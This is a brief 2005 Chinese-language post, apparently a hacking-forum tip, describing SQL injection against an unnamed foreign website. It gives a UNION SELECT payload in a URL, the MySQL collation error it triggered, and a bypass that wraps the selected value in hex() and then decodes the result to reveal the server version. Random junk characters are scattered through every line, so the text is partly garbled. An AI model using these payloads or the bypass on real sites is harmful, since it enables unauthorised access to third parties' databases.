本文作者:SuperHei/ M6 [7 f4 m+ u
文章性质:原创3 x& G0 U% M( i ~8 f% |
发布日期:2005-10-18& z. J; o1 v; O; n: l* y9 ]( E3 J
测试个国外的站时:
c9 S: R8 C0 K) U* Furl:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*7 |/ z+ Q( t% h
返回错误:- u* H4 V+ ?# F* M8 M
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
! x% p+ q& e+ \9 q' p3 mMySQL Error No. 126
7 _& Q9 m) p2 \1 e. Y/ a0 f看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。3 i" G7 m& Z( s4 u' R
解决办法:转为其他编码如hex。
3 |7 f. f( z$ o3 {* Xurl:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
" b S' S0 o9 v' s/ P1 i" x4 ~成功得到hex(version())的值为:
5 X7 ~2 \3 s0 ~$ z6 G' K342E312E332D62657461+ c c4 S4 K. u, @- m
回Mysql查询下得到:: j( ~% Q2 d! X( b/ l* `" O
mysql> select 0x342E312E332D62657461;
; x) z X8 ?! O! k! v+------------------------+. T1 ^8 R# {8 r5 g D. e- Y4 a
| 0x342E312E332D62657461 |; a( ]8 m2 T8 l; ~
+------------------------+
$ s" F* U% v# g" E2 { {| 4.1.3-beta |6 N+ b6 J1 @! M: W, G
+------------------------+
! } y) n3 M4 y7 p0 l1 u. x/ X1 row in set (0.00 sec)( l1 k" ~+ p1 {0 C* s4 b
: N/ Q0 C4 \ u5 R8 }- `
|